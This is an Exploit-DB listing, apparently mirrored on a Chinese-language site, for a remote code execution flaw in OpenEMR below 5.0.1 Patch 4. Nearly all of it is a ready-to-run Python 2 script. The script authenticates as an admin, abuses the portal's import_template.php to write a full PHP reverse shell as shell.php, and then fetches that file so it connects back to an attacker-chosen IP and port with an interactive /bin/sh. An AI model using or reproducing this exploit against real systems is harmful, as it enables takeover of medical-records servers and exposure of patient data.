OpenEMR 5.0.1 – Remote Code Execution (1)

  • 作者: Musyoka Ian
    日期: 2020-05-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48515/
  • # Title: OpenEMR 5.0.1 - Remote Code Execution (1)
    # Exploit Author: Musyoka Ian
    # Date: 2020-05-25
    # Title: OpenEMR < 5.0.1 - Remote Code Execution
    # Vendor Homepage: https://www.open-emr.org/
    # Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
    # Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile 
    # Version: < 5.0.1 (Patch 4)
    # Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
    # References: https://medium.com/@musyokaian/openemr-version-5-0-1-remote-code-execution-vulnerability-2f8fd8644a69
    
    # openemr_exploit.py
    
    #!/usr/bin/env python2
    # -*- coding: utf-8 -*-
    
    import requests
    import time
    
    auth = "[+] Authentication with credentials provided please be patient"
    upload = "[+] Uploading a payload it will take a minute"
    netcat = "[+] You should be getting a shell"
    s = requests.Session()
    payload = {'site': 'default', 'mode' : 'save', 'docid' : 'shell.php', 'content' : """<?php
    
    set_time_limit (0);
    $VERSION = "1.0";
    $ip = '127.0.0.1';# CHANGE THIS
    $port = 9001; # CHANGE THIS
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/sh -i';
    $daemon = 0;
    $debug = 0;
    
    //
    // Daemonise ourself if possible to avoid zombies later
    //
    
    // pcntl_fork is hardly ever available, but will allow us to daemonise
    // our php process and avoid zombies.Worth a try...
    if (function_exists('pcntl_fork')) {
    	// Fork and have the parent process exit
    	$pid = pcntl_fork();
    	
    	if ($pid == -1) {
    		printit("ERROR: Can't fork");
    		exit(1);
    	}
    	
    	if ($pid) {
    		exit(0);// Parent exits
    	}
    
    	// Make the current process a session leader
    	// Will only succeed if we forked
    	if (posix_setsid() == -1) {
    		printit("Error: Can't setsid()");
    		exit(1);
    	}
    
    	$daemon = 1;
    } else {
    	printit("WARNING: Failed to daemonise.This is quite common and not fatal.");
    }
    
    // Change to a safe directory
    chdir("/");
    
    // Remove any umask we inherited
    umask(0);
    
    //
    // Do the reverse shell...
    //
    
    // Open reverse connection
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
    	printit("$errstr ($errno)");
    	exit(1);
    }
    
    // Spawn shell process
    $descriptorspec = array(
     0 => array("pipe", "r"),// stdin is a pipe that the child will read from
     1 => array("pipe", "w"),// stdout is a pipe that the child will write to
     2 => array("pipe", "w") // stderr is a pipe that the child will write to
    );
    
    $process = proc_open($shell, $descriptorspec, $pipes);
    
    if (!is_resource($process)) {
    	printit("ERROR: Can't spawn shell");
    	exit(1);
    }
    
    // Set everything to non-blocking
    // Reason: Occsionally reads will block, even though stream_select tells us they won't
    stream_set_blocking($pipes[0], 0);
    stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);
    stream_set_blocking($sock, 0);
    
    printit("Successfully opened reverse shell to $ip:$port");
    
    while (1) {
    	// Check for end of TCP connection
    	if (feof($sock)) {
    		printit("ERROR: Shell connection terminated");
    		break;
    	}
    
    	// Check for end of STDOUT
    	if (feof($pipes[1])) {
    		printit("ERROR: Shell process terminated");
    		break;
    	}
    
    	// Wait until a command is end down $sock, or some
    	// command output is available on STDOUT or STDERR
    	$read_a = array($sock, $pipes[1], $pipes[2]);
    	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    
    	// If we can read from the TCP socket, send
    	// data to process's STDIN
    	if (in_array($sock, $read_a)) {
    		if ($debug) printit("SOCK READ");
    		$input = fread($sock, $chunk_size);
    		if ($debug) printit("SOCK: $input");
    		fwrite($pipes[0], $input);
    	}
    
    	// If we can read from the process's STDOUT
    	// send data down tcp connection
    	if (in_array($pipes[1], $read_a)) {
    		if ($debug) printit("STDOUT READ");
    		$input = fread($pipes[1], $chunk_size);
    		if ($debug) printit("STDOUT: $input");
    		fwrite($sock, $input);
    	}
    
    	// If we can read from the process's STDERR
    	// send data down tcp connection
    	if (in_array($pipes[2], $read_a)) {
    		if ($debug) printit("STDERR READ");
    		$input = fread($pipes[2], $chunk_size);
    		if ($debug) printit("STDERR: $input");
    		fwrite($sock, $input);
    	}
    }
    
    fclose($sock);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);
    
    // Like print, but does nothing if we've daemonised ourself
    // (I can't figure out how to redirect STDOUT like a proper daemon)
    function printit ($string) {
    	if (!$daemon) {
    		print "$string\n";
    	}
    }
    
    ?> """}
    print (auth)
    url = "http://localhost/openemr/interface/main/main_screen.php?auth=login&site=default"
    data= {
    'new_login_session_management' : '1',
    'authProvider' : 'Default',
    'authUser' : 'admin', # change this to the the appropriate username
    'clearPass' : 'password123', # change this to the appropriate password 
    'languageChoice' : '1',
    }
    
    response = s.post(url, data=data,).text
    time.sleep(2)
    print (upload)
    time.sleep(2)
    resp = s.post("http://localhost/openemr/portal/import_template.php?site=default", data = payload)
    time.sleep(2)
    print (netcat)
    rev_shell = s.get("http://localhost/openemr/portal/shell.php")
    print (rev_shell.text)